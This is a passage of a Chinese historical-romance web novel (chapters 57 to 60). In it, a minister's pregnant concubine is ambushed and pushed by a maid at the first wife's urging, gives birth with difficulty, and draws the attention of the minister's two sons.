见她话语不停地在门外恳求,徐可心轻轻叹息,走到男人身侧,小声道,“外面有人求见大人。” 林远舟攥住她的手腕,将她揽在怀里抱紧,不似往日那般处理公务,几乎抱住她的瞬间,就低头吻了上来,衔住她的唇。 徐可心眸色微怔,又很快失神,扶着他的肩膀慢慢回应他。 自她入了书房后,周菱就一直在屋外喊着,徐可心垂着眉眼,想要问他到底为何纳周姑娘为妾,可对方亲吻不停,食不知味似的,堵着她的嘴,根本不给她询问的机会。 她身体酸软,顾不得心上的疑惑,眸色也愈发迷离。 第57章 周菱跪在门外,话语不停,不断说要求见大人。 书房内,男人埋首在她颈侧,扶在她后背的手下放,将她安稳地放置在桌案上,温热的桌案隔着衣服贴着她的后背,搭在她膝盖上的手也不断向上。 察觉他要做什么,徐可心下意识伸手,攥住他的手腕,小声提醒道,“大人,周……姨娘还在外面侯着……” 话音刚落,男人低头,吻上她的侧颈,眼也不抬道,“可心若顾虑被人听去,理应不同往日那般孟浪。” 话音刚落,徐可心眸子瞪大,这人竟说她孟浪,分明他们二人之间,他才是最孟浪之人。 徐可心生了气,也不给他抱了亲了,用力推他的肩膀,不满道,“既然大人说妾身孟浪,妾身便不留在这里了。” 她挣扎地想要离开,脚还未等沾地又被人抱了回来,“大人不是嫌妾身孟浪吗?眼下这般又是为何?” 徐可心蹙着眉轻声控诉,林远舟站在桌案前,攥着她的脚腕,不紧不慢扯下她的罗袜,迎着徐可心不可置信的目光,低头轻轻吻上她的足心,温热的呼吸落在上面,很痒,徐可心不自觉蜷缩脚趾。 林远舟垂眸看着她,眼底带着些许笑意,些许无奈道,“为夫何时说过嫌弃可心孟浪,可心实属曲解为夫的话。” “大人你……”徐可心根本未留意他刚刚说了什么,只瞪大眸子盯着攥着自己脚腕的手,“你竟……”吻她的足心。 徐可心话音一顿,无论如何也难以说出剩下半句话。她虽每夜沐浴清洗,但还是难以接受,甚至难以启齿。 林远舟面色不变,俯身攥着她的肩膀复要吻上来,徐可心下意识偏头,躲过他的吻,抬手按在他的下半张脸,眼也不抬面色涨红道,“脏。” 耳边传来一声低笑,随后她的手腕就被攥住扯到一旁,男人一手按着她的手臂,一手抚着她的侧脸,俯身在她耳边轻声道,“为夫只吻过可心一人,不曾吻过旁人,若可心嫌为夫脏,为夫总归要难过几日。” 很慢很慢的腔调在耳边悠悠响起,不似真得难过,但话语间又的确透着几分难以言喻的委屈。 徐可心呼吸一滞,下意识转过头看他,却见男人垂着眉眼,好似真得难过一般,面色无奈地看她。 徐可心何时见大人露出过这般神色,心也不自觉软了下来,面色紧绷,犹豫良久还是不争气地抬手,捧住他的脸主动吻上他的鼻梁。 林远舟看着她凑近,任由她啄吻,可在唇贴上去那一刻,男人忽得低头,直接衔住她的唇,满是恶趣味低声道,“可心周身上下为夫何处未吻过,怪罪为夫嫌弃可心,可心反倒嫌弃自己。” 徐可心心上不满,想要出言控诉,但男人吻得格外凶,让她根本没有开口的机会。 两人在书房亲吻,做尽彼此方才口中嫌弃的孟浪之事,白日宣淫,好似天地间只有他们二人。 周菱跪在门外,哪怕呼唤不停,也不得回应,跑来书房求情已经耗尽她的最后一丝体面,对上身旁两个侍卫轻视的目光,周菱紧咬着牙,终归难以忍受这羞辱,站起身从书房跑走。 两个侍卫方才时不时看着她,见她一直不走恐大人怪罪,想劝她离开,见她终于走了,未同徐姨娘那般倔,两人都松了口气。 周菱过去在正院做事时,受人畏惧,无论小厮还是嬷嬷都向她卖笑,可她方离开正院一天,一群人就变了脸色。 她本以为自己爬上了高位当上了主子,谁成想一直挺直的腰板反倒弯了下来。 春熙斋冷清无人,不似过去四姨娘在世时那般陈设华丽,甚至比不上最为陈旧的听雨阁。 好似一切只是虚无缥缈的南柯一梦,她见旁人很轻易地成了大人的妾室,以为她也可以,等真正走了这条路,才发觉步步维艰、处处难堪…… 回了春熙斋,不顾丫鬟们打量的目光,周菱回了屋内关上门,把自己困在屋内,不再出去见人,再从屋内出来时,面上也没有了往日的傲气。 她算不得妾室,甚至不必忧虑前去请安,以此受三姨娘嘲弄。 林昭明在祠堂跪了整整七天七夜,才被守卫叫了出来。 这七天算不得长,不足让他在意,但也算不得短,足够让他想清楚自己的心意。 知晓了自己眼下到底想要什么,方从祠堂离开,他甚至未回自己院子休整,就大步跑到了听雨阁。 “徐可心!我要纳你为妾!” 屋内,徐可心闲来无事,正坐在桌案前抚琴,闻言不受控用力勾动手指,琴音乍惊。 她紧蹙着眉,下意识道,“二少爷方离了祠堂,勿要再胡言乱语。” “我未曾胡言乱语,你既然可以做他的妾室,为何不可做我的妾室?况且……” 林昭明话音一顿,攥着拳头,垂眸闷声道,“况且我比他年少,比他更有前途,我往后也只纳一人为妾,不会另寻旁人,不会像他那般时不时弄个女人当妾室。” 他自认为理由充足,怎么说徐可心也应该答应他,可徐可心在听完他的话,毫不犹豫道,“二少爷的确年少,但也的确幼稚任性,轻诺寡信,随意许下承诺,又在之后违背,你已经退婚舍弃我一次,难道还要舍弃我第二次?” “再一再二不再三,我不想再等你第三次了。”徐可心蜷缩手指紧攥琴弦,强压着心中郁气,努力平复心绪。 未想到自己会被拒绝,林昭明面露不解,直接出言反 驳道,“退婚一事是我违背誓言在先,是我不对,可论数下来,你只等了我一次,我何时负了你第二次?” “过往你想要做什么,我全都顺着你的心意为你做了,而你连做我的妾室也不肯吗?我又不会亏待你,我依旧会同过去那般事事以你为先,你想要什么,我也全都给你。” “父亲已不复年轻,待他入土,你就是个没人照顾的寡妇,我还年少,能护你一辈子,等你死了,我再命人把我埋到你身旁,到了地底下我还能照顾你……” 他满口生的死的,听得徐可心浑身颤抖不停,下意识道,“我受困在教坊司时,你为何不来见我?为何不带我离开?甚至未曾前来见我一面?” 一直埋在心底的质问脱口而出,一瞬间,林昭明没了声音,好似定住了一般站在原地。 她刚到那里时,被人赶到一处阴暗屋子里,同一群人住在一起,每夜都有人哭,每日都有人死,她何曾不害怕,她怕得要死。 她没了双亲,大可一死了之,可谁去照顾小妹,若她也死了,小妹没了依靠,更不会独活,她只能战战兢兢度日,抱着一丝渺茫的希望,最后彻底麻木。 终于把积压在心底的话说了出来,徐可心忽觉心上的郁气也彻底消散。 她不知晓林昭明为何又开始胡言乱说,说出纳她为妾这种混账话,但真真切切不愿再受林昭明哄骗。 “若大人身死,我也不会独活,同他一起去了。况且如今我怀了你父亲的孩子,待我死后,自有我的孩子安排我的丧事,不劳二公子烦忧。” 她本不想轻言生死,认为此事忌讳,可林昭明的话又实在不中听,满口胡话,让她也失了分寸。 林昭明沉默地站在那里,眉头紧皱,却没了往日的戾气,过了半晌,他忽得走上前,未回答她的话,而是盯着她的肚子道,“若他死了,你是不是就只能依附我了?” 徐可心闻言,眸色一怔,抚着肚子下意识站起身,咬牙唤了一声林昭明。 “若你伤了我的孩子,我恨你一辈子。” 她眉眼间带着不加掩饰的怒气,林昭明扶着桌案,被斥责了也未说什么,只垂眸自顾自道,“一辈子那么久,你果然只在乎他,不在意我。” 他伏在桌案上的手紧攥成拳,头也不抬道,“这也不行,那也不行,你究竟如何才能愿意回到我身边?无论是我父亲,还是你腹中的孩子,都是后来之人,都比我晚一步出现在你身边,你又为何把他们放在心上,只把我当成无关紧要之人?” 林昭明话语不停,临到现在也未真得认为自己有什么错,只一味地责怪她,把所有错处都怪在她身上。 徐可心只觉他无药可救,不想再同他多言,转身向里室走去,独留林昭明一人站在那里。 望着她离开的背影,林昭明紧攥拳头。 他也说了好话,主动前来示好,但这人一直不答应,他也只好把人抢过来,让徐可心知晓,到底他和父亲之间谁才是那个真正值得她依靠的。 林昭明方跑去听雨阁,没过多久就黑着脸回了自己院子,把自己关在屋中。旁人前去探望,他只说自己专心科举,闭门不见他。 父亲官至首辅,他又有何不可,只等他考中状元,成了权臣自立门户,便让徐可心知晓,他比父亲更值得她依附。 二少爷过去虽专心科举,从不懈怠,但何曾同眼下这般没日没夜刻苦研读,要把一身心血全都燃烬似的。 知晓他从听雨阁离开就变成这副病态模样,大夫人看在心里,连带着之前的事情,也恨上了徐可心。 眼见临近科举,林昭明依旧守在房中不离开,大夫人的心上也愈发沉闷,每日头疼难耐。 “夫人,周姑娘来了。”小桃推门走进,小心禀告道。 大夫人眼也不抬,“把她赶走。” 小桃微微颔首,方要去传话,门外传来一阵吵闹声,周菱不顾丫鬟们的阻拦,直接闯了进来,一见到她就跪在地上,哭着道,“夫人,奴婢知错了。” “你有什么错,爬上了大人的床,得了院子,可比在正院当个丫鬟风光多了。”大夫人瞥了她一眼,淡声道。 自从那一夜后,周菱就再也未见过大人,只一个人留在春熙斋受苦,丫鬟们也不似往日那般畏惧她,她过得苦不堪言。 她恨大夫人那夜耍了她,不想向大夫人求情,可过了数月受人鄙夷的日子,实在难以忍受,只能跑来求情。 周菱跪在地上,只一味地磕头求情,说自己知错了。 大夫人冷眼瞧着她,任由她跪在地上。 “夫人,只要你原谅奴婢,奴婢愿意为夫人做任何事。” 话音刚落,大夫人揉捏额头的手一顿,抬眼看她,语气没有起伏道,“什么都愿做?” 周菱闻言,忙不迭点头。 大夫人见状,轻笑道,“既你上门求情,我也不是什么冷血之人。” “徐姨娘如今怀有身孕,再过两月就要临盆。” “如今府上已经有了两位少爷,不宜再添新丁,你可明白?” 周菱本颤抖着身体,闻言面色一怔,霎时明白了她的话,忙不迭点头,“奴婢明白,奴婢明白……” 她点头如捣蒜,生怕说得晚了就被人赶走。 大夫人看了她一眼,不紧不慢端起茶杯,知晓她办事利落,心上也不自觉松了一口气。 这人还未诞下子嗣,就敢仗着大人的宠爱为难她的儿子,若真得生了一个儿子,想必会更为娇纵,还不如胎死腹中,也免去了她的一桩麻烦。 第58章 徐可心初次怀孕,不知晓应做什么,因此格外小心谨慎,眼见还有两个月就要临盆,更是足不出户,生怕出了闪失。 三姨娘落水时的情景时不时在她眼前浮现,连带着入睡后,也时常梦见自己落水的情景。 每每梦到都惶恐不安,难以平复,不知是不是有什么心灵感应,无论何时,只要她受惊,男人都会察觉到,轻拍她的肩膀,温声哄着她,声音低而哑,还透着几分入睡的倦意。 好似未真得醒来,只是留意她的动静,下意识将她揽在怀里温声安抚。 “大人。” 夜色中,她轻轻唤了一声。 “嗯。” 听到回应,徐可心抬眸看他,见他仍阖着眼睛,复又道,“大人。” “嗯。” 得了两声回应,知晓他还未入睡,徐可心微微抬起下巴,枕着他的胸膛,眨着眼睛轻声道,“大人。” 接连三声,林远舟终于抬眸看她,“身子不适?” 他抬手,抚上徐可心的后腰,不紧不慢揉捏,近几日她的肚子大了,连带着腰背也格外酸疼,时不时难受地喊着。 男人的手指修长有力,力道适中,揉得她很舒服,徐可心环着他的腰背,对上他的目光,小声道,“并无不适,只是想唤大人。” 她眨着眼睛,看似无辜,实则格外理直气壮。 林远舟淡淡瞥了她一眼,阖上眼睛,按着她的头将她压在怀里,眼也不抬道,“若唤为夫,总应先唤为夫的名讳,才会得到为夫的回应。” 话音刚落,徐可心倏地抬头,迟疑道,“那岂不是冒犯大人……” 她盯着男人的下巴,极其认真道,“大人是妾身的夫君,妾身不应直呼大人名讳。” 她正好被噩梦吓醒,眼下难以安睡,伏在男人肩膀上,引经据典地同他讲述,告诉他为何不能直呼他的名讳。 林远舟揽着她的腰,有一搭没一搭应着,待她忘记某句话出自哪里,或者忘记出自何人口中时,林远舟才不紧不慢开口,低声提醒她。 徐可心话语不停,趴在他耳边碎碎念了许久,才困得轻轻打了个哈欠,凑上男人的侧脸,轻轻吻了一下他的唇,慢慢挪动身子,在男人怀里寻了个舒服的姿势,阖上眼睛准备入睡。 她侧着身子,背靠着男人,男人从身后环着她的腰,扶着她的肚子护着她的身体。 就在她昏昏欲睡时,手指忽得被人攥住,有力的手指穿进她的指缝间,覆盖她的整只手,同她十指相扣,力道很重,攥得她的手指很痛,但她困得睁不开眼,只轻轻嘟囔一声。 睡梦中,伏在她掌心的手指微微划动,不知晓对方写了什么,她正无意识思索时,耳边忽得传来低语,温 热的唇贴在她耳侧,不紧不慢地念了一个林字。 “林,” “远,” “舟……” 她断断续续念着,最后一个尾音落地的瞬间,男人抚上她的侧脸,吻上她的唇,在她耳边轻声笑道,“这便是为夫的姓名,往后出门在外,若受了委屈,便报出为夫的名讳。” “天下无人不识君,无论走到何处,总会有人代为夫照顾可心,不会让可心受欺负。” 男人微微低头,唇贴着她耳侧,同她方才那般低语不停。眼眶忽得酸胀,徐可心微微偏过头,脸埋在他的手臂里,含糊道,“只想留在大人身边,不想同大人分开。” 咸湿的泪从眼尾溢出,濡湿男人的衣袖,环在她身前的手臂微微用力,将她禁锢在怀里,眼下也没有放手的意思。 两个残缺的半圆,谁也不知道谁更不堪,只知晓贴在一起时,是个紧紧相依的圆月,只想得到圆满,不想要残缺。 暮春时分,京中人头攒动,放眼望去全是不久后就要参加科考的学子。 林昭明把自己困在屋中不出来,哪怕大夫人亲自上门,这人也不开门,烛灯彻夜明亮,谁也不知道他到底发了什么疯,一副走火入魔的疯癫模样,考不到状元就要一头撞死似的。 大夫人站在门外,劝解不停,告诉他,哪怕榜上无名也无事,他父亲和大哥均位居高位,他不必如此呕心沥血。 可无论她说什么,林昭明也不理会她,只一味守在房中,把书翻来覆去读了个遍。 恐这人太过痴迷伤了身子,大夫人只能命人去唤林怀瑾,让他前去劝解一二。 母亲亲自开了口,林怀瑾也没有不从的道理,奉命前去。 不似大夫人,不管说什么,林昭明都不理会她。林怀瑾只说了几句话,屋内就传来砸东西的声音,青年的斥责声从里面传来,“科考一事不劳兄长费心,你只离后宅远些,勿要染指旁人的妾室。” 说不清楚他口中的妾室到底是旁人的,还是他的,林怀瑾站在门外,闻言也猜到了这人在何处受了刺激。 早在徐姨娘入府后,他便知晓林昭明会为了徐可心弄得林府鸡犬不宁。 徐可心性子温婉,不会惹是生非,可同她余情未了的林昭明,却是个阴晴不定的混账东西。 气到头上了,六亲不认,谁的话也不听,许久之前倒是听徐可心的话,直到被人指着鼻子,骂他是惧内的孬种后,才生了叛逆的心思,开始躲着徐可心走。 徐家失势前,府中也得了消息,知晓徐家不日就要被官府查封。 恰巧此时林昭明不知受了谁的嘲讽,非要跑去退婚。 怕他后悔,众人有心阻拦,但碍于母亲的命令,谁都不敢劝阻,只能眼睁睁地看他像个愣头青一样跑到徐家,当着徐家众人的面,亲自退了婚约。 刚退婚那几日,徐可心未同往日那般前来寻他,他还得意了许久,等到半月未见到徐可心的身影,才开始变得萎靡不振。 旁人都知晓徐小姐为何不能前来,但谁都未告诉他,还是同他不对付的李家公子借着徐家嘲讽他,他才知晓徐可心已经不在徐府了。 那日他把李家公子打了一顿,揍得鼻青脸肿浑身是血,也不上课了,直接跑到徐家去寻人,被看守的守卫拦下。 他在徐家墙外守了几天几夜,被人按着肩膀压回府中,回来后就生了一场大病,每夜梦魇缠身,性情也变得愈发冷厉暴虐。 他一开始想去教坊司寻人,母亲知晓后,派人看管他,他那时空有一身蛮力,无权无势,受人掣肘,哪里也去不得。 过了头一年,不等旁人看管他,他自己就犯了别扭,说不愿再去见那人,也不准旁人在他面前提徐可心。 旁人只当他厌烦徐可心,想和她撇清关系,但到底是不想见,还是不敢见,只有他林昭明自己清楚。 听雨阁。 徐可心正缝制衣物时,丫鬟推门走进,说大少爷来了。 徐可心身子一僵,手上的针险些扎进肉里,这人来做什么…… 自从林怀瑾从北疆回来后,除了回府当日前来送东西给她,之后再也未上门,不似林昭明时不时上门扰她安宁,这人说不再敢她离府竟真得不来劝解了。 徐可心思索半晌,想不明白他为何前来,看了眼站在门外的青色身影,见他没有擅自闯进来的意思,犹豫良久后,才松了口,准他进来。 男人稳步走进,手上依旧拿着一个匣子。 徐可心不自觉看向他手中的匣子,好奇他这次又带了什么东西过来,这人从未空手前来过,每每上门都会携带赠礼,好似奉行着什么不成文的规矩,见她时一定要携带东西,否则就是于理不合。 好似察觉到她的目光,林怀瑾将手中的匣子放在桌案上,不紧不慢打开,从里面取出一物。 待看清他手上的东西,徐可心眸色微怔。 拨浪鼓? 一个模样精致小巧的拨浪鼓被他攥在手里,随着他手指的摇动发出轻闷的响声,徐可心眸色不解,“公子,这是……” “姨娘不日就要临盆,身为兄长,总要准备些许贺礼,以表友善。” 林怀瑾将手中的拨浪鼓递到她面前,“匣中并非珍贵之物,只是寻常幼童喜好的玩物,姨娘若不嫌弃,暂且收下罢。” 看着面前微微作响的拨浪鼓,她心中微微懊恼,忘记准备这些东西,徐可心犹豫良久,伸手接了过去,轻轻摇动,只晃了半晌,又放了回去,扶着腹部轻声道,“谢过公子好意,只是妾身依旧不会收下公子的东西,公子还是拿回去罢。” 林怀瑾闻言,很轻地嗯了一声,也未同过去存心害她时那般执着,接过拨浪鼓,不紧不慢放回匣子里,阖上箱盖。 他站在那里,良久未言,也未离开。 没道理这人今日前来只是为了送东西,若想送的话,何时都能送,徐可心小心看着他的面色,斟酌着话,问他今日为何前来。 她先开了口,林怀瑾也未再犹豫,直接道,“姨娘,怀瑾想求姨娘前去劝解昭明一二。” “……” 林怀瑾是被赶出去的,连带着他的木匣子,被人一齐赶出听雨阁。 屋内,徐可心气得胸膛起伏不停,哪想到今日长公子前来是为了做林昭明的说客,他身为兄长,烦忧二弟的身子,可谁又来烦忧她徐可心。 徐可心紧攥着帕子,命丫鬟以后见到长公子后不必再传话,直接告诉林怀瑾她不在院中。 这人真是得寸进尺欺人太甚。 她不愿前去,府上也无人能劝解林昭明一二,只等到了科考那天,这人才自己从房中出来。 春闱三日,临到第一日,众人早早聚在堂中,要送林昭明离府。 徐可心不想见他,以身子不适为由,抱病不出,传令的丫鬟离开后,本以为事情就这么过去了,谁成想没过多久又来了一个丫鬟,说夫人催她前去正堂。 徐可心闻言,面色不解,大夫人应不想她出现在林昭明面前才对,但又为何传她过去…… 丫鬟催得紧,她不敢惹大夫人不快,只能前去。 她扶着肚子,跟在丫鬟身后,对方在前面走着,却未领她去正堂,而是带她走了一条偏路,向后园走去。 看着不远处的湖水,莫名的不安浮现在心头,她下意识停下脚步,没有再向前面走,只说自己身子不适,转身就要离开。 她扶着自己的腹部,心跳得格外快,可刚转过身,只见一个女人突然从假山走出,死死盯着她,正是许久未见的周菱。 徐可心心跳一滞,下意识退了一步,身后传来唔的一声,她慌乱转头,却见自己的丫鬟被捂住 嘴,眸色惊恐地看着她。 徐可心眸色一怔,扶着肚子顾不上多想,下意识想要逃跑,几乎瞬间,身后传来女人阴冷的声音,“想往哪里走?” 后背被用力一推,徐可心不受控地向湖边扑去,整个人猛地撞在地上,双腿之间霎时开始流血。 腹部绞痛难耐,她惊恐地看着向她走来的周菱,忍着剧痛向后爬动。 见她要跑,周菱快步上前,扯着她的衣领就要将她拖进池塘。 “你们在做什么?” 压着怒气的声音在不远处骤然响起,徐可心抬眸看去,却见林昭明不知何时站在不远处,直直盯着她们。 顾不上心中芥蒂,徐可心伸手,下意识求救道,“昭明救我!” 她恳求地看着站在不远处的男人,可林昭明只微微皱眉,盯着她腿间的大片血迹,任由周菱攥着她的衣襟,良久未动。 忽得想起他之前说过的话,徐可心面色霎时惨白,心也不自觉一沉,整个人浑身冰冷,害怕到了极点。 第59章 徐可心伏在地上,腹部抽痛不止,只过片刻,下身的裙摆就被掺杂着羊水的鲜血浸染。 额头沁着冷汗,她本能地挪着膝盖,费力地向林昭明爬去,每爬一步腹部抽痛一分,她顾不了那么多,耗尽了力气终于一步步爬到他面前,扯着他的衣摆,仰头恳求道,“昭明,去寻郎中好不好……” 自从怀有身孕后,她就一直期盼这个孩子的到来,她不想失去这个孩子。 慌乱的脚步声在身后响起,周菱和那个丫鬟跑走了,独留她倒在血泊中,脸上血色全失。 “昭明,救救我,救救我的孩子……” 徐可心紧攥着男人的衣摆,像抓着救命稻草一般,仰头恳求地看着他,“昭明,我不能失去这个孩子……” 她期盼了很久,做了很多,已经做好成为一个母亲的准备,她真得不能失去这个孩子。 徐可心半伏在地上,祈求地看着他,却见林昭明眸色复杂,居高临下地俯视她,依旧没有理会她的意思,好似旁观的看客,等待她的死期。 头愈发昏沉,她紧咬舌头强迫自己清醒,微微躬着身子,不再寄希望于林昭明,费力转过头,却见不知何时周菱和那个丫鬟已经跑走了,她的丫鬟也倒在地上昏迷不醒。 深深的无力压在心口,眼眶忽得酸胀。 她只想留下这个孩子,不想失去这个孩子,秉着心上的念头,毫不犹豫向路口爬去。 之前几日下了春雨,雨落在地上,留下一地泥泞,石砖散着潮湿的气息,血迹顺着衣摆拖过的痕迹沾在石砖上,留下满路的血。 她这一生都是潮湿的,浸在泥潭里面,寻着根本看不到的希望,以最难堪的姿势,不断向岸边爬着。 她已经见到了芦苇荡,只要扯住芦苇,就能爬出泥潭,见到她的飞鸟。 她不想松手…… 她想寻到一个人,无论谁都好,那人可以帮她去唤郎中,可以救下她的孩子,将她从泥潭中拽出去。 意志昏沉的最后一刻,脚步声在身后响起,她被人抱了起来。 那人勾着她的腿弯,脚步很急躁又很稳,紧紧环着她的身子,将她抱在怀里。 徐可心费力抬眼,却见林昭明紧绷着脸,面上没有一丝笑意,甚至没有幸灾乐祸的嘲弄神色。 昭明愿意救她…… 她缓缓抬手,想要抚上他的侧脸,可触及到他面庞的前一刻,彻底失了力气,重重垂落在地。 很累很累,说不出来一句话,石头堵在喉咙上,压住里面的哽咽,好的坏的一并堵在里面,再也吐不出半个声响。 昏迷时,她依稀听到林昭明咬牙说,“徐可心,都是你欠我的。” 昭明又把错怪在了她身上,她告诉欠了昭明很多,可在她的记忆里,她不曾欠了这人什么,反而是林昭明,一次又一次哄骗她,将她拖出泥潭,又松了手,任由她下坠。 她做了梦,有心事时,噩梦总是不断,鲜少能睡个好梦。 不过这次她的确做了好梦。 梦里她回到了林昭明还未入学堂之前的日子,那时他们之前只有他们两个人,林昭明对她的喜欢也很纯粹,只是喜欢她,会唤她姐姐,会讨她喜欢,为她编织了一场短暂的美梦。 很短,但的确是她潮湿的过往里为数不多的晴天。 梦境流转,她又看见了母亲,母亲会温柔地抚着她的头发,轻声哄着她,但不会让她依靠,母亲的心里只有父亲,并无旁人。 她并未有过几日快活日子,连带着梦也不长,不似噩梦,会困扰她许久。 临到最后,她走进了一片草地,暖风吹得她很舒服,日头也很足,一整天的晴天,不会下雨。 一只飞鸟从远处飞来,落在她的肩膀上,亲昵地贴着她的侧脸,飞鸟陪在她身侧,化为一少女,埋首在她怀里,陪她静赏暮春落花。 蔌蔌落红都尽,依然见此清姝。 徐可心环抱着怀中少女,心格外安宁,甚至想陪她留在此处,永远不离开,直到少女跑走,她才慌了神,寻着少女的身影追去。 听雨阁。 屋内哭喊声不停,撕心裂肺,疼得要把心哭出来似的。 一门之隔,林昭明站在门外,垂在身侧的手紧攥成拳,分明生产之人是徐可心,他却白了脸色,面上血色尽失。 林怀瑾匆匆赶到时,却见他二弟失了魂似的站在产房外,面色惨白至极。 他劝解道,“徐姨娘吉人自有天相,你姑且前去科考,待过了时辰……” “她还未出来,我留在此处陪她。”林昭明垂着脑袋,头也不抬道。 “你因何留在此处?” 未等林怀瑾开口,女人的斥责声从远处传来,大夫人快步上前,焦急道,“科举乃是人生大事,勿了今年还要再寻一年,昭明勿要犯浑。” 林怀瑾唤了一声母亲,向后退了一步,大夫人站在林昭明面前,劝解不停,可无论她说什么,林昭明单站在那里,没有任何离开的意思。 大夫人见他冥顽不灵,气急扬手,一巴掌打了上去,“你是要气死我不成!” 啪的一声,林昭明的脸颊霎时泛红。 一旁的下人们见状纷纷低下头,未敢再看下去。 可饶是被打了,林昭明依旧不为所动,只低声道,“科举罢了,误了今年还有明年。” 他语气没有半分焦急无措,反而格外平静。 见他面上浑不在意,大夫人紧抿着唇,直言道,“今日你若留在此处,往后便不再是我的儿子,你只同往日那般追着那女人身后跑罢了。” 大夫人颤着声音说完,未再多说,转身离去,几个下人彼此对视一眼,派了一个人去寻大人过来。 林昭明面无表情地站在原地,面上没有丝毫动容,林怀瑾站在一旁,沉默半晌,也未再说什么。 他并非幼童,也不是少年,一切都是他的因果,走错的路,总要回去再走一遍,直到走通了,才会真得放下,否则遇见南墙也会撞上去,磕得头破血流。 林怀瑾站在一旁,未再劝解什么。 两人站在屋外,过了半个时辰,身穿朝服的男人才快步走入院中,未曾驻足看他们兄弟二人一眼,也未追问林昭明为何未赶赴春闱,林远舟快步走入产房。 产婆有心阻拦,说于理不合,但对上男人没有情绪的目光,霎时闭了嘴。 林昭明站在门外,看着男人的背影,面色紧绷,抬步也要进去,可刚迈了一步就被林怀瑾拦下。 “你让开。”他头也不抬道。 “为兄让开,之后你要如何?以二公子的身份入了庶母的产房?先不论是否合乎礼节,昭明,你自问徐姨娘想要见你吗?” “你既送她回了听雨阁,又为她寻了产婆,想必也希望她平安无事。” 林昭明闻言面色一沉,“可凭什么父亲能进去,我就只能站在外面?” 林怀瑾眸色平静,冷声扯掉他的最后一丝体面,“她是父亲的妾室,并非你的妾室,只要父亲在,她的身侧便没有你的容身之处。” 话音一落,林昭明不再说话了。 见他沉默不言,未同往日那般无理取闹,林怀瑾平声道,“你无功名在身,饶是没有父亲,也难以让徐姨娘依靠,你近日胡闹不停,令徐姨娘做你的妾室,昭明,你扪心自问,若未有年少的情意,徐姨娘可会心悦你?” “她想寻一个可以托付终身的人,而你任性莽撞,如何值得她托付终身?” “与其站在此处空守,不如赶赴春闱,待考中进士,在朝中谋得官职自立门户,也不必受制于人。”忽得想到什么,林怀瑾抬眸看他,温声道,“若真考中状元,兴许徐姨娘还会高看你一眼。” 一番话说完,林怀瑾向后退了一步,未再拦在他面前,任由他自己作择。 林昭明站在原地,良久无话,过了半晌快步向院外走去。 林怀瑾望着他远去的背影,知晓不开点他,让他和父亲争,可不拿徐可心做说辞,这人又不可能听劝。 若他不赶赴春闱,母亲也会伤身,权衡再三,只能拿徐可心做说辞。 林怀瑾看向屋内,听着屋内女人的哭喊声,疑觉徐可心是狐妖转世,父亲和二弟都着了她的道,连他自己,也说不清对这人是什么心思…… 产房内。 林远舟望着女人紧蹙的眉心,抬手抚了上去,用掌心擦拭她脸颊上的汗水。 好似格外疼,不然为何面色如此苍白,哭喊不停。 林远舟垂着眉眼,眸色微沉,好似被她的声音惊到,一旁的产婆见状,拿了一个折叠好的帕子上前,就要塞进徐可心口中。 可还未等她塞进去,就被男人拦了下来,对上他没有情绪的目光,产婆知晓自己会错意,慌乱寻了个借口,“大人,姨娘咬了帕子才好用力。” 她这借口实在牵强,产婆正担忧大人不会相信时,却见男人思索半晌,不紧不慢挽起袖子,将自己的手臂放在女人面前。 手臂横在徐可心口中,她的哭喊声也戛然而止,只余下一阵呜咽声。 她眼下意识不清醒,咬得格外用力,好似要咬下他的肉一样,林远舟抬手,抚下她额间的碎发,垂眸轻声道,“可心受苦了。” “大人……”这于理不合。产婆站在一旁,见状下意识劝解,又很快闭嘴。 大人何时这般对待旁的主子,饶是夫人怀有两位公子时,大人也未前来探望一眼,更别提留在产房中,专门陪在旁人身侧。 思及此,产婆未再卖小聪明,退了下去。 有大人守在徐姨娘身侧,几个产婆彼此对视一眼,饶是有别的心思,也不敢在他面前做手脚。 她们若想在府中过好日子,只能讨好大夫人,可若想活下去,就应守着府上的规矩办事,不应惹怒大人。 不知过了多久,只待天色泛黄,临入黄昏,屋内才传来孩童的哭喊声。 “大人!是位小姐!”产婆抱着孩子,快步上前。 林远舟眼也不抬,未看那孩子一眼,只淡声问,“为何还未醒来?” 他边说,边不紧不慢收回手臂,却见一个青红泛血的咬痕浮现在他的手臂上,格外渗人。 产婆话语一噎,看了眼昏迷不醒的女人,温声解释,眼下姨娘身子劳累,待睡过一觉便会清醒。 男人闻言,未再多言,命她们退下。 待房中只余下他们二人,林远舟俯下身,轻轻吻上徐可心的眼皮,吻去她眼中的泪,“明日之后,便随了为夫的姓氏。” “待入了族谱,可心便是林家人,无人再会轻视可心。” “如此可好?” “不知可心想做为夫的姊妹亦或女儿,若是姊妹,长兄为父,为夫总要约束可心一二。” “若是女儿,为夫更应尽到父亲之责,教导可心如何做林家的小姐。” 林远舟抚着徐可心的侧脸,轻轻啄吻她的面庞,无声看了她半晌,才轻声道,“好可心,快些醒来罢。” 第60章 从后园离开,知晓她们已经暴露了,周菱当即带着丫鬟跑去正院。 “夫人!夫人一定要帮奴婢!” 方走进屋内,周菱就跪在地上,膝行上前。 大夫人见她这副姿态,霎时知晓这人未成事,令她说清缘由,知晓林昭明救了徐可心后,大夫人紧攥着帕子,一巴掌直接拍在桌案上。 未等她处理此事,小桃匆匆上门,“夫人,二少爷眼下守在徐姨娘的产房外,未前去贡院。” 此话一出,大夫人霎时站起身,咬牙道,“那女人到底给他下了什么迷魂汤,让他甚至不惜放弃科考。” 她面色阴沉,命周菱在院中侯着,带着小桃前去听雨阁,本想劝林昭明前去科考,最后却被他气回正院。 面色沉郁,站在佛堂前无声发誓,若徐可心误了他儿子的前途,她的孩子饶是生下来,也无须再活下去。 直到林怀瑾上门,告诉她,林昭明已经赶赴考场,大夫人心上的郁气才消散几分,待知晓徐可心生下的是个女婴,她才彻底平复心绪。 只是女婴,并非可以同她儿子争的男婴,她的两个儿子依旧是府上唯一的公子。 大夫人疑觉佛祖保佑,霎时屈膝跪在佛前,双手合十,默念经文。 只是女婴罢了,只是女婴罢了…… 这府中唯一的女主人还是她…… 她颤着身子,心中被巨大喜悦填满,好似一场只有她自己知晓的无声的对峙,而她取得了胜利。 大夫人颤着身子,呼吸不自觉加快。 金枝玉叶如何,受宠又如何,府中上下,独独她生了两位公子,待过几年,她的儿子掌家了,她便永远是林府唯一的女主人。 无人不会尊敬她,她也不必像徐可心一样,祈求那人虚无缥缈的喜欢。 大夫人攥着蒲团,心跳得很快,双腿也不自觉颤抖,心思乱成一团,根本无心默诵经文。 “夫人、夫人……” 